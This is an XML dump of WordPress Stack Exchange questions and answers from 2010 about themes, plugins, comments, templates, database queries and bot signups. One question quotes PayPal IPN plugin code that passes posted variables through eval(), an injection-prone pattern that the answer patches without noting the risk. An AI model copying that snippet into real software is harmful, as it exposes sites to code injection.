meta box on your post edit page. This will allow you to display the original post in a frame on the new domain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Based on your stated requirements, these seem like the simplest solutions, but it's far from clear that this is your intent (e.g. what does &quot;&lt;em&gt;I would like for the page to be accessible for both domains&lt;/em&gt;&quot; mean? Are both sites running WP? What's the business relationship between the two sites?). It would help if you more clearly explained the final result you are trying to achieve and a list of your most important concerns. Whatever your answer is to this, if possible, please also explain &quot;why&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code to achieve this isn't complicated, but before going through the trouble, please clarify what you're trying to accomplish.&lt;/p&gt;&#xA;" OwnerUserId="164" LastEditorUserId="164" LastEditorDisplayName="" LastEditDate="2010-12-04T23:44:50.997" LastActivityDate="2010-12-04T23:44:50.997" CommentCount="5" />
  <row Id="4565" PostTypeId="2" ParentId="4563" CreationDate="2010-11-26T21:40:35.870" Score="4" ViewCount="" Body="&lt;p&gt;There is no way to base the image sizes on the post type, as images are not yet attached to a post when you upload them and the intermediate image sizes are created (when you just add them via &quot;New Media&quot; they are not even attached to any post at all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I recently &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1463/resizing-images-to-the-actual-size-used-in-the-editor/4012#4012&quot;&gt;created two plugins&lt;/a&gt; that together will do what you want. &lt;strong&gt;Virtual intermediate images&lt;/strong&gt; will intercept the creation of the intermediate image sizes: they will not be created on disk, but still exist in the metadata array. This makes WordPress think they exist so you can use them like normal images. The companion plugin, &lt;strong&gt;On-Demand Resizer&lt;/strong&gt; will create missing image sizes when they are requested. The first time the image is requested it is created, all subsequent requests will just be served the newly created image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These plugins need a rewrite before I put them in the WordPress plugin directory, but they should be safe. Or at least have &lt;code&gt;TODO&lt;/code&gt; comments where they are unsafe.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-26T21:40:35.870" CommentCount="1" />
  <row Id="4566" PostTypeId="2" ParentId="2839" CreationDate="2010-11-26T22:49:18.050" Score="2" ViewCount="" Body="&lt;p&gt;When planning more complex Wordpress sites, I try to think of the page/url hierarchy in terms of the default &lt;a href=&quot;http://codex.wordpress.org/Database_Description&quot; rel=&quot;nofollow&quot;&gt;WordPress Database Schema&lt;/a&gt;. Then determine the best &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Rewrite&quot; rel=&quot;nofollow&quot;&gt;URL rewrite&lt;/a&gt; scheme and data structure. Very generally, I find that data objects most important to the user should exist as a custom post type or a post object, relationships between custom posts should use custom taxonomies and unique values should be stored in postmeta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More specifically&lt;/strong&gt;, if I was offering products with version updates, I might create a custom post type for each product (assuming a limited number of total products with version updates) and create a new post for each new release (WP stores posts chronologically by default, so multiple releases should work well). In other words, each new release would exist as a single post under the custom post type and each new post will contain the details of that release. You could then display the details for the most recent post on a page for the custom post type. By forcing each post to be paginated, you should also be able to have separate URL's for &lt;em&gt;features&lt;/em&gt;, etc., and you should be able to make them pretty by rewriting the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Visually&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/products/%custom-post-type%/&#xA;/products/product-a/&#xA;&#xA;/products/%custom-post-type%/archive/&#xA;/products/product-a/releases/&#xA;&#xA;/products/%custom-post-type%/%post-name%/&#xA;/products/product-a/release-xx/&#xA;&#xA;/products/%custom-post-type%/%post-name%/page/2/&#xA;/products/product-a/release-xx/features/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="164" LastEditorUserId="164" LastEditorDisplayName="" LastEditDate="2010-11-26T23:02:38.640" LastActivityDate="2010-11-26T23:02:38.640" />
  <row Id="4567" PostTypeId="1" AcceptedAnswerId="4596" CreationDate="2010-11-27T02:25:56.687" Score="1" ViewCount="376" Body="&lt;p&gt;I have a ajax request hooked on &quot;template_redirect&quot; (the ajax requests the post's url), and I want to display only the comment template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_comm(){&#xA;  if(isset($_GET['get_my_comments'])):&#xA;    $offset = intval($_GET['get_my_comments']);&#xA;    echo $offset; // offset will be the same as &quot;cpage&quot;&#xA;    global $comments, $wp_query, $post, $id;&#xA;    print_r($comments); // nothing ?&#xA;    print_r($wp_query-&amp;gt;comments); // nothing ??&#xA;    wp_list_comments('type=comment', $comments); // same :(&#xA;    exit();&#xA;  endif;&#xA;}&#xA;add_action('template_redirect', 'get_comm');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the javascript part works and it's like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   $(&quot;a.show-more-comments&quot;).live(&quot;click&quot;, function(){&#xA;      var offset = $(this).attr('rel');&#xA;      var list = $(this).closest(&quot;#comments&quot;);&#xA;&#xA;      $.ajax({&#xA;        url: &quot;&amp;lt;?php echo get_permalink($post-&amp;gt;ID); ?&amp;gt;&quot;,&#xA;        type: &quot;GET&quot;,&#xA;        data: ({&#xA;          get_my_comments: offset&#xA;        }),&#xA;        success: function(data){&#xA;          list.append(data);&#xA;        }&#xA;      });&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that &lt;code&gt;$comments&lt;/code&gt; or &lt;code&gt;$wp_query-&amp;gt;comments&lt;/code&gt; don't seem to be initialized. What am I doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="600" LastEditorUserId="600" LastEditorDisplayName="" LastEditDate="2010-11-27T07:22:51.843" LastActivityDate="2010-11-27T20:53:44.197" Title="Getting $comments outside the comment template" Tags="&lt;3.0&gt;&lt;comments&gt;&lt;php&gt;&lt;ajax&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="4568" PostTypeId="1" CreationDate="2010-11-27T03:01:31.687" Score="4" ViewCount="1310" Body="&lt;p&gt;I have a custom post type that accepts a YouTube embed HTML snippet, title, and a featured image. Currently, I'm going and finding an image for the featured image, but ideally I would be able to automatically download and resize the first frame of the video itself based on the video URL during the saving process of the post itself. If done right, my post type could require nothing more than the link and could get the image and the embed code from that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, if the video link is &lt;a href=&quot;http://www.youtube.com/watch?v=2Jnpi-uBiIg&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=2Jnpi-uBiIg&lt;/a&gt; the value of &lt;em&gt;v&lt;/em&gt; would be extracted and used to download the the image at &lt;a href=&quot;http://img.youtube.com/vi/2Jnpi-uBiIg/0.jpg&quot; rel=&quot;nofollow&quot;&gt;http://img.youtube.com/vi/2Jnpi-uBiIg/0.jpg&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very new to wordpress development, but something tells me I would be looking into hooks (if I understand those correctly).&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2010-12-23T17:04:53.527" Title="Auto-retrieve YouTube Image for Thumbnail?" Tags="&lt;hooks&gt;&lt;post-thumbnails&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="4" />
  <row Id="4570" PostTypeId="2" ParentId="4557" CreationDate="2010-11-27T07:01:00.963" Score="1" ViewCount="" Body="&lt;p&gt;Here is a code I used to do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// make category use parent category template&#xA;function load_cat_parent_template($template) {&#xA;&#xA;    $cat_ID = absint( get_query_var('cat') );&#xA;    $category = get_category( $cat_ID );&#xA;&#xA;    $templates = array();&#xA;&#xA;    if ( !is_wp_error($category) )&#xA;        $templates[] = &quot;category-{$category-&amp;gt;slug}.php&quot;;&#xA;&#xA;    $templates[] = &quot;category-$cat_ID.php&quot;;&#xA;&#xA;    // trace back the parent hierarchy and locate a template&#xA;    if ( !is_wp_error($category) ) {&#xA;        $category = $category-&amp;gt;parent ? get_category($category-&amp;gt;parent) : '';&#xA;&#xA;        if( !empty($category) ) {&#xA;            if ( !is_wp_error($category) )&#xA;                $templates[] = &quot;category-{$category-&amp;gt;slug}.php&quot;;&#xA;&#xA;            $templates[] = &quot;category-{$category-&amp;gt;term_id}.php&quot;;&#xA;        }&#xA;    }&#xA;&#xA;    $templates[] = &quot;category.php&quot;;&#xA;    $template = locate_template($templates);&#xA;&#xA;    return $template;&#xA;}&#xA;add_action('category_template', 'load_cat_parent_template');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-11-27T07:01:00.963" CommentCount="2" />
  <row Id="4571" PostTypeId="2" ParentId="4552" CreationDate="2010-11-27T07:19:19.990" Score="5" ViewCount="" Body="&lt;p&gt;You can use the filter &lt;code&gt;screen_layout_columns&lt;/code&gt; to set only one column for the post screen &lt;code&gt;get_user_option_screen_layout_post&lt;/code&gt; to force the user option to 1.&#xA;The following code will do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function so_screen_layout_columns( $columns ) {&#xA;    $columns['post'] = 1;&#xA;    return $columns;&#xA;}&#xA;add_filter( 'screen_layout_columns', 'so_screen_layout_columns' );&#xA;&#xA;function so_screen_layout_post() {&#xA;    return 1;&#xA;}&#xA;add_filter( 'get_user_option_screen_layout_post', 'so_screen_layout_post' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-11-27T07:19:19.990" />
  <row Id="4572" PostTypeId="1" AcceptedAnswerId="4579" CreationDate="2010-11-27T10:17:00.403" Score="0" ViewCount="524" Body="&lt;p&gt;I am creating my first ever plugin for a membership site. I have a custom table named &lt;code&gt;subscription&lt;/code&gt; with a &lt;code&gt;subscr_user_id&lt;/code&gt; column whose values are taken from &lt;code&gt;$current_user-&amp;gt;ID&lt;/code&gt;. So when a current user subscribes, a new record is inserted into the table where &lt;code&gt;subscr_user_id&lt;/code&gt; gets the value of the current user's ID. How do I query(INSERT AND SELECT) the table from a template(I don't know of any other means to test queries)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this SELECT query:&#xA;Note that I have preinserted one record into table subscription with subscr_user_id = 1 which means the user is an administrator. I did that thru sql console. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Somewhere in between the body of the template.&#xA;//This query will be used for a code that checks if a user ID is already subscribed to avoid duplicate records.&#xA;global $current_user;&#xA;global $wpdb;&#xA;&#xA;$user_id = $wpdb-&amp;gt;get_row(&quot;SELECT * FROM $wpdb-&amp;gt;subscription WHERE subscr_user_id = $current_user-&amp;gt;ID&quot;);&#xA;&#xA;echo '&amp;lt;p&amp;gt; Current user ID is:'.$user_id-&amp;gt;subscr_user_id. '&amp;lt;/p&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before I viewed the page that uses that template, I logged in as an administrator to make sure the ID is &lt;code&gt;1&lt;/code&gt;. Unfortunately I didn't get any result? Could anyone also please show me a sample of INSERT statement?&lt;/p&gt;&#xA;" OwnerUserId="1649" LastEditorUserId="1649" LastEditorDisplayName="" LastEditDate="2010-11-27T10:23:09.730" LastActivityDate="2010-11-27T12:23:09.173" Title="How to query custom db table?" Tags="&lt;plugin-development&gt;&lt;database&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="4573" PostTypeId="1" CreationDate="2010-11-27T10:40:16.483" Score="2" ViewCount="195" Body="&lt;p&gt;I am implementing a blog to share courses, lectures, tutorials or talks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The video sizes might be bit a bit big - so i was wondering what is a good quality plugin for wordpress that would allow to play videos smoothly , with different dpi settings and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to host the files on my hosting - and play them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that a bad option, should i go to youtube ? 3rd party ? what are the + and - of each.&#xA;Are there any copyright issues, limits, &quot;fair usages&quot;, forced ads ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips on the video thing is extremely welcomed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I live in one of the top 5 countries with slowest internet, so optimizing this can be crucial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any advice you guys can share&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="692" LastEditorUserId="692" LastEditorDisplayName="" LastEditDate="2010-11-27T22:15:26.040" LastActivityDate="2011-08-10T12:23:56.300" Title="Managing and Playing Large videos" Tags="&lt;videos&gt;" AnswerCount="4" FavoriteCount="2" />
  <row Id="4574" PostTypeId="1" AcceptedAnswerId="4627" CreationDate="2010-11-27T11:17:08.377" Score="2" ViewCount="269" Body="&lt;p&gt;I'm working on a site which has a fully customized front page. Now I'm asked to add a more classic looking blog type page which will be reacheable at &lt;code&gt;http://domain/blog&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried creating a custom (empty) page called &lt;code&gt;blog&lt;/code&gt; and put some code into &lt;code&gt;page-blog.php&lt;/code&gt;, but the problem is that I can't get The Loop to work in there: the page render aborts right where the display of The Loop should start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is a custom page the wrong way to do it?&lt;/p&gt;&#xA;" OwnerUserId="745" LastActivityDate="2010-11-29T07:45:40.747" Title="How can I create an alternative home page?" Tags="&lt;customization&gt;&lt;page-template&gt;&lt;the-loop&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="4575" PostTypeId="2" ParentId="4572" CreationDate="2010-11-27T11:45:42.040" Score="0" ViewCount="" Body="&lt;p&gt;&quot;$wpdb-&gt;subscription&quot; only applies if you use the same table prefix (usually wp_), otherwise just use &quot;subscription&quot;. Is your plugin checking for the prefix and creating the table accordingly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise I can't see anything wrong with the statement.&lt;/p&gt;&#xA;" OwnerUserId="1714" LastActivityDate="2010-11-27T11:45:42.040" CommentCount="1" />
  <row Id="4577" PostTypeId="2" ParentId="4573" CreationDate="2010-11-27T12:08:25.880" Score="2" ViewCount="" Body="&lt;p&gt;Are you planning on converting the videos to .flv yourself? If not I would go with youtube/vimeo etc, it's easy to upload a video, get the embed code and job done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have internal hosting (or better still a server and someone to manage it on the university network) then &lt;a href=&quot;http://videopress.com/&quot; rel=&quot;nofollow&quot;&gt;http://videopress.com/&lt;/a&gt; might be worth a look.&lt;/p&gt;&#xA;" OwnerUserId="1714" LastActivityDate="2010-11-27T12:08:25.880" CommentCount="2" />
  <row Id="4578" PostTypeId="2" ParentId="4567" CreationDate="2010-11-27T12:20:45.727" Score="0" ViewCount="" Body="&lt;p&gt;I use this function to render templates when using ajax&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ajax_render( $template ) {&#xA;&#xA;global $data, $posts, $post, $wp_did_header, $wp_did_template_redirect, $wp_query, $wp_rewrite, $wpdb, $wp_version, $wp, $id, $comment,  $user_ID;&#xA;&#xA;ob_start();&#xA;render($template);&#xA;$response = array('text' =&amp;gt; ob_get_clean());&#xA;echo json_encode($response);&#xA;exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;render() is a custom function to load a certain template. But essentially you will need to retrieve the comments yourself to add to the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use get_comments (http://codex.wordpress.org/Function_Reference/get_comments) or do a direct query and then you can either render a template as above or build the html with a php function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the global $data to hod anything I want to render in the template.&lt;/p&gt;&#xA;" OwnerUserId="1714" LastActivityDate="2010-11-27T12:20:45.727" CommentCount="1" />
  <row Id="4579" PostTypeId="2" ParentId="4572" CreationDate="2010-11-27T12:23:09.173" Score="3" ViewCount="" Body="&lt;p&gt;You need to tell $wpdb what subscriptions when initializing your plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;subscriptions = $wpdb-&amp;gt;prefix . 'subscriptions';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-27T12:23:09.173" CommentCount="2" />
  <row Id="4580" PostTypeId="1" AcceptedAnswerId="4595" CreationDate="2010-11-27T12:26:12.753" Score="0" ViewCount="149" Body="&lt;p&gt;I'm displaying the comments for a post my way, using &lt;code&gt;$comm = get_comments()&lt;/code&gt; and then passing &lt;code&gt;$comm&lt;/code&gt; to &lt;code&gt;wp_list_comments()&lt;/code&gt; (&lt;a href=&quot;http://wordpress.stackexchange.com/questions/4567/getting-comments-outside-the-comment-template&quot;&gt;this is the reason why&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to disable WordPress from loading comments from the database into &lt;code&gt;$wp_query&lt;/code&gt;, when the comment template is being displayed ? I'm asking this because I want to avoid this extra database call, since I'm getting the comments myself using the above method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I also noticed the &lt;code&gt;$comments&lt;/code&gt; global variable is a array containing ALL the comments for a post, not just the ones from the current comment page. If I have a post with 10K comments, WP will load all these at once? Seems ridiculous...&lt;/p&gt;&#xA;" OwnerUserId="600" LastEditorUserId="600" LastEditorDisplayName="" LastEditDate="2010-11-27T12:44:24.587" LastActivityDate="2010-11-27T20:44:07.417" Title="Prevent WordPress from loading comments" Tags="&lt;3.0&gt;&lt;comments&gt;&lt;php&gt;&lt;database&gt;&lt;wp-query&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="4581" PostTypeId="2" ParentId="4574" CreationDate="2010-11-27T13:25:41.633" Score="1" ViewCount="" Body="&lt;p&gt;What did you use for your front page, customized &lt;code&gt;index.php&lt;/code&gt; or &lt;code&gt;home.php&lt;/code&gt;? Is it static or still contains Loop of posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Configuration you want is supported by WordPress, but little confusing to explain. See &lt;a href=&quot;http://codex.wordpress.org/Creating_a_Static_Front_Page&quot; rel=&quot;nofollow&quot;&gt;Creating a Static Front Page&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially approach of creating pages for this is correct, but you must set it up in WordPress and be aware of template technicalities, so that everything works properly.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-27T13:25:41.633" CommentCount="1" />
  <row Id="4582" PostTypeId="2" ParentId="4574" CreationDate="2010-11-27T14:19:54.457" Score="0" ViewCount="" Body="&lt;p&gt;you can also play locate_template() function, see this tutorial: &lt;a href=&quot;http://wpengineer.com/2030/create-a-separate-page-for-blog-posts-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/2030/create-a-separate-page-for-blog-posts-in-wordpress/&lt;/a&gt; for creat a seperate blog page and creare the home.php in the Theme als static homepage.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-11-27T14:19:54.457" />
  <row Id="4583" PostTypeId="2" ParentId="4573" CreationDate="2010-11-27T16:38:20.327" Score="1" ViewCount="" Body="&lt;p&gt;I would suggest that you put your videos on Youtube &amp;amp; Vimeo or similar video hosting server. These server has the hardware and bandwidth to stream your movies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF you choose to host these videos on your own server, you should create custom post types - I think. I'm pretty sure I saw some tutorials on thos, but I can't find it now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here are tuts for Custom Post types:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wpengineer.com/1969/impressions-of-custom-post-type&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/1969/impressions-of-custom-post-type&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.wpbeginner.com/wp-tutorials/how-to-use-custom-post-types&quot; rel=&quot;nofollow&quot;&gt;http://www.wpbeginner.com/wp-tutorials/how-to-use-custom-post-types&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://justintadlock.com/archives/2010/04/29/custom-post-types-in-wordpress&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2010/04/29/custom-post-types-in-wordpress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OR&lt;/strong&gt; you can use a plugin like JW Player: &lt;a href=&quot;http://www.tubepress.net/wp-jw-player&quot; rel=&quot;nofollow&quot;&gt;http://www.tubepress.net/wp-jw-player&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2010-11-27T16:38:20.327" CommentCount="3" />
  <row Id="4584" PostTypeId="1" AcceptedAnswerId="4592" CreationDate="2010-11-27T16:44:24.387" Score="0" ViewCount="415" Body="&lt;p&gt;I'm adding voting features to a theme. Visitors can vote posts Up or Down. I created a table for storing number of votes for each post and that works fine. Now I'm trying to sort posts by their votes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have &quot;voted up&quot; and &quot;voted down&quot; links. For instance, when you click on &quot;voted up&quot; a new  parameter &lt;code&gt;sort=up&lt;/code&gt; is passed in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the loop if the parameter exists and is = &quot;up&quot; I want to loop posts with votes up. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wpdb-&amp;gt;get_results(&quot;SELECT post_id, FROM $wpdb-&amp;gt;votes WHERE up &amp;gt; 5&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is where I want to use something like &lt;code&gt;query_posts('sort=up')&lt;/code&gt; before the loop. My question is, how to I create the custom &quot;sort&quot; parameter?&lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2010-11-27T18:36:39.487" Title="Custom query_posts() parameter" Tags="&lt;php&gt;&lt;query-posts&gt;&lt;database&gt;&lt;wp-query&gt;&lt;mysql&gt;" AnswerCount="2" />
  <row Id="4585" PostTypeId="1" CreationDate="2010-11-27T17:06:02.567" Score="1" ViewCount="55" Body="&lt;p&gt;I maintain a blog for a friend of mine.  It's basically an aggregater of videos from other embeddable video sites, and provides a way for users to comment on those videos.  Not really high-value content, but it's a suitable placeholder until we come up with a better concept for what to do with what is arguably a pretty-valuable domain name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Commenting is open without registering ... but for the most part commenting activity is very, very low.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over the past week the site has seen a spike in Wordpress new-user enrollment.  These new users haven't commented on any of the videos, or interacted with the site in any other noticeable way, but they're all enrolling with .pl (Poland) email addresses, and not a single one of them has commented after enrolling.  I also haven't noticed anything in my analytics that leads me to believe this is due to a referral link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what gives?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would users register with a blog only to not do anything with that account?  Has anybody had this experience with a coordinated wave of user-registrations that led to something malicious?  I've locked down commenting so that they'll only show up on the site after approval, but I'm just trying to plan ahead for what may be a coordinated attack, and would like to know if anybody has experienced this trend with sites they've operated.&lt;/p&gt;&#xA;" OwnerUserId="1552" LastActivityDate="2010-11-28T15:00:15.260" Title="Any reason to be concerned by a wave of &quot;zombie&quot; blog signups?" Tags="&lt;users&gt;&lt;security&gt;" AnswerCount="2" />
  <row Id="4586" PostTypeId="1" AcceptedAnswerId="4589" CreationDate="2010-11-27T17:19:18.010" Score="0" ViewCount="105" Body="&lt;p&gt;&lt;strong&gt;Warning: Invalid argument supplied for foreach() in /.../ipn_res.php on line 28&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Warning: Invalid argument supplied for foreach() in /.../ipn_cls.php on line 30&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From line 28 is a foreach loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($paypal_ipn-&amp;gt;paypal_post_vars as $key=&amp;gt;$value) {&#xA;    if (getType($key)==&quot;string&quot;) {&#xA;        eval(&quot;\$$key=\$value;&quot;);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From line 30 is also a foreach loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($this-&amp;gt;paypal_post_vars AS $key =&amp;gt; $value) {&#xA;    if (@get_magic_quotes_gpc()) {&#xA;        $value = stripslashes($value);&#xA;    }&#xA;    $values[] = &quot;$key&quot; . &quot;=&quot; . urlencode($value);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I think the root cause of the errors is this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//This is located before foreach loop in ipn_res.php&#xA;require_once(&quot;ipn_cls.php&quot;);&#xA;&#xA;$paypal_info = $HTTP_POST_VARS;&#xA;$paypal_ipn = new paypal_ipn($paypal_info);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The constructor of class paypal_ipn is passed with a non-array var because nothing has been sent yet that would fill out &lt;code&gt;$HTTP_POST_VARS&lt;/code&gt;. Wordpress runs the code which is not the case when not in it. How do I get away from this? &lt;/p&gt;&#xA;" OwnerUserId="1649" LastEditorUserId="1649" LastEditorDisplayName="" LastEditDate="2010-11-28T15:18:34.593" LastActivityDate="2010-11-28T15:18:34.593" Title="Plugin could not be activated because it triggered a fatal error?" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="4587" PostTypeId="1" AcceptedAnswerId="4588" CreationDate="2010-11-27T18:09:17.580" Score="0" ViewCount="208" Body="&lt;p&gt;Using a WordPress multisite network with Buddypress. In order to modify the top nav bar, I've written a function to replace part of the menu. Calling it thus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('bp_adminbar_menus', 'new_adminbar_blogs_menu', 6);&#xA;&#xA;remove_action('bp_adminbar_menus', 'bp_adminbar_blogs_menu', 6);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Works perfectly in my functions.php, but when I try to move the above code to the plugin file, the remove_action fails to fire, but the add_action works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;As a temporary solution, renaming the function folder to something appearing after Buddypress alphabetically solved the issue.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1718" LastEditorUserId="1718" LastEditorDisplayName="" LastEditDate="2010-12-01T12:10:44.487" LastActivityDate="2010-12-01T12:10:44.487" Title="Why doesn't remove_action work in my plugin?" Tags="&lt;filters&gt;" AnswerCount="4" />
  <row Id="4588" PostTypeId="2" ParentId="4587" CreationDate="2010-11-27T18:14:14.053" Score="1" ViewCount="" Body="&lt;p&gt;I am not sure about BuddyPress specifics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general case remove doesn't work when it is firing before function is actually added to the hook. Between core, plugins, parent and child themes there are a lot of relative combinations of add/remove possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In such case to make remove fire properly you need to wrap it into function and hook that wrapper function to some point later, after add.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-27T18:14:14.053" />
  <row Id="4589" PostTypeId="2" ParentId="4586" CreationDate="2010-11-27T18:25:43.503" Score="1" ViewCount="" Body="&lt;p&gt;Contact plugin's developer and ask him to fix?.. But I guess that is probably not an option if plugin is broken badly and remains that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a quick band-aid try this right after object is created, to handle case of constructor not setting up field properly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( !isset( $paypal_ipn-&amp;gt;paypal_post_vars ) )&#xA;    $paypal_ipn-&amp;gt;paypal_post_vars = array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-27T18:25:43.503" CommentCount="2" />
  <row Id="4590" PostTypeId="2" ParentId="4585" CreationDate="2010-11-27T18:31:46.057" Score="1" ViewCount="" Body="&lt;p&gt;To break this down:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If this is potential security issue? Unlikely.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do bots register for a reason? Maybe, maybe not. It can just as well be some fluke, bots often do weird things just-because.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What to do? Nothing except cleaning up fake accounts. Close registration if you don't really need it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-27T18:31:46.057" />
